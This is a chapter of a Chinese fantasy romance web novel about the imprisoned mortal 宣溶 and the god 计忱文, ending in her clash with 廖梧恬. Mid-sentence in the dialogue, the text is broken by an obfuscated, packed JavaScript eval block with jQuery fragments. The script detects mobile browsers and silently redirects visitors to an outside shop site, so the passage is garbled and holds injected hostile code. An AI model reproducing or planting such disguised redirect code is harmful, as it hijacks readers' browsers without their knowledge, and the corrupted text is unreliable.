八年。
四年的人界,四年的神界。
寒川牢位于两座雪山夹缝中,受刑人运气不好的时候会遇到两旁山雪滑坡,厚重的雪会将犯人埋藏,不等仙侍们扫走就已经憋死在其中了。
显然宣溶是运气不错的。
计忱文来看她的时候,甚至完全认不出这是宣溶。
因为八年的时间,身量体型都变了,她的脸冻得生疮,满脸灰紫鼓包,看不清样貌。
她闭目休息着,鼻尖有轻薄的热雾洒出,活得倒是有些艰辛。
计忱文没有给她度些灵气。
因为在此受刑的,任何人都不能够助犯人扛过他的惩罚,这是犯人做错事应受的。
能不能活下,全看受刑人自己。
似是感到有鲜活的生命在自己面前,宣溶想要睁开眼睛。
只是她的睫毛被冰雪粘住了,她努力了眨了几下眼睛。
大片的睫毛成一片脱落下来,覆在她的下眼睑上。
她平静地看着计忱文,良久,像是才恢复了清明,瞳孔缩了下。
她尴尬地扯着嘴唇憨笑着,唇角裂开的口子开始汩汩冒血。
她疼的立即抿上了嘴。
原先,计忱文不确定眼前的人就是宣溶,但是看到这个笑后,他很确认。
这个表情,是她做了亏心事被他瞧见后会露出来的笑容。
因为他会批评她。
只不过这次,批评的话他说不出口。
以前相处的时候,他希望没有长大的她不要因为没有人指引而长歪,而如今的他,也实在不觉得自己有什么说教她的。
他们根本不是一个界的人了。
不单是人与神各自背负的职责不同。
也是他们能打交道的命数在那次人间分开后就已经结束了。
“还有两日,坚持后尽快离开这里吧。”计忱文盯着她被铁链悬挂的双臂,铁链上有冻干掉的血迹,她手臂露在外面的肌肤也是没有一块好肉。
宣溶低下头,没有说话。
她脱落的睫毛被风吹落掉。
刚出眼眶的热泪融了些黏住的冰雪。
只是眼泪没有夺眶而出,计忱文根本也看不到。
看到了也不会怎么样。
后来的两日,雪有小小的滑坡,她差点被埋葬其中。
幸好滑掉的雪不多。
她可以活着,只是苟活的更辛苦罢了。
刑满结束,宣溶是被仙侍拖出寒川牢的。
就像拖一具冻住的死尸。
管事姑姑若不是看清她的胸口在轻微起伏着,真当她已经死了。
半吊子的修仙凡人,能活着,也是让人感到惊奇。
管事姑姑常对生灵抱有敬畏心,于是擅自决定留下宣溶,想着至少等人醒了,身体能反应过来再谈离开的事。
后来的半个月,宣溶一直病恹恹地躺在偏殿里,她那双被生生打断的双脚,经过寒川牢十日已无恢复可能。
半个月里,她一直晕晕噔噔,清醒的时候要比昏迷状态少的多。
生疮的地方在温暖的炉旁开始溃烂发脓,有些结痂的地方像是乌黑的甲壳虫类附着在肌肤上。
很痒,很痒。
痒到她想把全身扣烂。
计忱文知道宣溶被管事姑姑留在了判岳府的某个地方。
他没有去干涉。
因为没有变故的事情,他也不会做什么。
但是他想赠给她的玉佩,他再一直留在手里也不太妥当。
于是他去见了宣溶。
正巧她醒着,在盯着床顶发呆。
她藏于被下的双手一直在颤抖。
他晓得这是她在竭力控制自己不要去挠刚长好的伤疤。
他来的静悄悄的,宣溶好一会儿才发现屋里多了个人。
她侧过头瞧他,眉眼竟是意外的平静。
计忱文正要将玉佩递出,对面的被子歪歪扭扭地掉落地上,瘦的干瘪的女子“扑通”一声跌跪在玉石打造的地板上。
“明玧神君在上。”
她的声音沙哑,计忱文仔细听了好久才能找到熟悉嗓音的感觉。
宣溶只着薄薄的单衣,跪在地上,用衣裙遮住废掉的双脚,虔诚地伏叩。
“请神君告知信女,信女还有可活的日子吗?”
望着缩成一团的身体,久别重逢,第一次开口说话是问这个?
计忱文攥紧了手中小小的玉佩。
她这般,让他心口有股酸胀感。
玉佩被搁在手边的桌子上。
他从不算命。
所以他不接话。
出了偏殿,管事姑姑正好就在外面。
她瞧见计忱文,有些羞愧地低下了头,“这女子的求生意念倒是老身活这么长时间头次见到的这般强烈。”
“她身上的旧伤可真不少,能从寒川牢活着出来,大抵是有什么在支撑着她。”
“老身敢保证,会看着她,不让她有行窃的机会。”
“她同您讲过话吗?”计忱文问道。
管事姑姑抬头看着他,似是不解,“肯定是讲过的,这些天倒也说过不少话,只不过都在清醒的时候。”
计忱文恍惚间又看到坐在花树红润着脸冲他叽叽喳喳的小姑娘。
管事姑姑在判岳府呆了许久,比他更早来这里。
她曾有过一位道侣,有个女儿。
但是道侣不知所踪,女儿夭折。
若宣溶能同她说话,又受她悉心教导,也是一件好事。
“本君知道了。”他应了一声,便没有再来过偏殿。
后来过了半年,宣溶找到了他。
其实判岳府的这半年,他莫名觉得难熬,似是有什么东西牵扯着他,总是无法安神。
这半年里,宣溶恢复的很好。
在寒川牢受得冻伤几乎看不出痕迹了,她的面孔与八年多前的脸重合。
出挑的很漂亮。
见到他也会笑盈盈地打招呼。
她学端庄了,对他话也没有那么多了。
即便他不去见她,她也会想办法出现在他的面前。
有时会笨拙地做些东西送他。
从以前谈天谈地,变成虚心请教。
陌生中甚至让他觉得哪里又有些相似。
直到那天她穿了件嫩粉色的衣裙,挽了不适合她的发型。
他忽然想起一个人。
白乌恬。
她在他的面前学白乌恬?
什么意思!
计忱文头一次发这么大的火,他扯掉了宣溶的发带,拉着她回屋,“脱掉!”
宣溶一瘸一拐的,红着张脸,嘴上却也倔强,“我就是不脱!为什么我不能穿这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167238|150464||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
计忱文黑着脸,他想不明白,当年宣溶是最不喜做学人精的。
“脱掉!”
“我就不脱!”宣溶抱着肩膀,“除非你帮我脱了!你敢吗?”
计忱文定定地看着她。
良久,她才像缓过神来,开始在他的面前宽衣解带。
“抱歉……我不该学她的。”
在她脱掉一件外衫时,计忱文还未来得及平复心情,便出了门。
他当时不知道,他走后,宣溶把自己脱得很干净,也扇了自己好几巴掌。
后来的情况变得更可怕了。
她不再像白乌恬那般打扮自己了,而是在深夜的时候身着简单来到他的屋内。
就是傻子也该明白了。
“宣溶,你想要什么?”
“我,我想要你喜欢我。”
宣溶把头压的低低的,说的有些磕巴。
她紧紧抓着裙摆,小声说着,“你可不可以和我……我很早就喜欢你了,喜欢很久很久了,从十四岁那年。”
她说完,脸红透了,甚至连脖颈处都泛着红。
计忱文把她带回她的屋里。
她却依旧锲而不舍,“我不影响你,不会像当年那样妨着你做事。”
“你喜欢谁,我也会喜欢谁,我不跟她争风吃醋,不会问你为什么!”
这些话,计忱文听了,又是一肚火。
他索性弄晕她,将她锁在房里。
禁闭了一个月,宣溶终于老实了。
只不过这样的老实,反倒让计忱文心里空落落的。
阅层房里。
看着她无法正常行走的双脚,他回过头瞧了眼满墙的训诫。
他想医好宣溶的双脚,让她能够像正常人那般生活。
再送她离开。
他不允与情爱纠缠,被缠也不行。
只不过这次带她的出行出了岔子。
行至仙境最大的药田。
他们遇到了青缪宗的人,青缪宗的少宗主带队来采药。
少宗主便是白乌恬历劫的本体,名为廖梧恬。
他留宣溶在屋里休息的时候,廖梧恬刺伤了她,她也没让廖梧恬讨到便宜,在廖梧恬手臂上留下一条深深的刀伤。
他回来时,宣溶被摁着,原本好了的脸又添新伤,左手心不知道被谁捅穿了。
刺目的鲜红灼伤他的眼睛,甚至没经过思考,法术便震飞了摁着宣溶的弟子们。
廖梧恬最先反应过来,捂着手臂下跪,“明玧神君,宣溶是我宗门犯错的弟子,她曾试图刺杀我爹,后被发现关进牢中,她本事不小,从牢中逃出。”
“如今我瞧见她,定是要带她回去,况且她还伤了我。”
宣溶的嘴角被磕破了,她的双眼死死盯着廖梧恬的手臂,忽的猛扑上去,把廖梧恬压在身下。
破了血洞的手像是不知道痛的,死命扒拉着廖梧恬手腕上的纤细镯子。
廖梧恬推着她,眼神求救地投向计忱文。
计忱文望着四周爬起来又要攻击宣溶的青缪宗弟子们,脸色微变,抬手将宣溶招到身边,用手控制住她的肩膀,不让她乱动。
廖梧恬站起身,轻轻拍了下裙子的灰,冲宣溶露出一个笑容。
洋洋得意。
格外自信。
宣溶低下头狠狠咬了计忱文的手。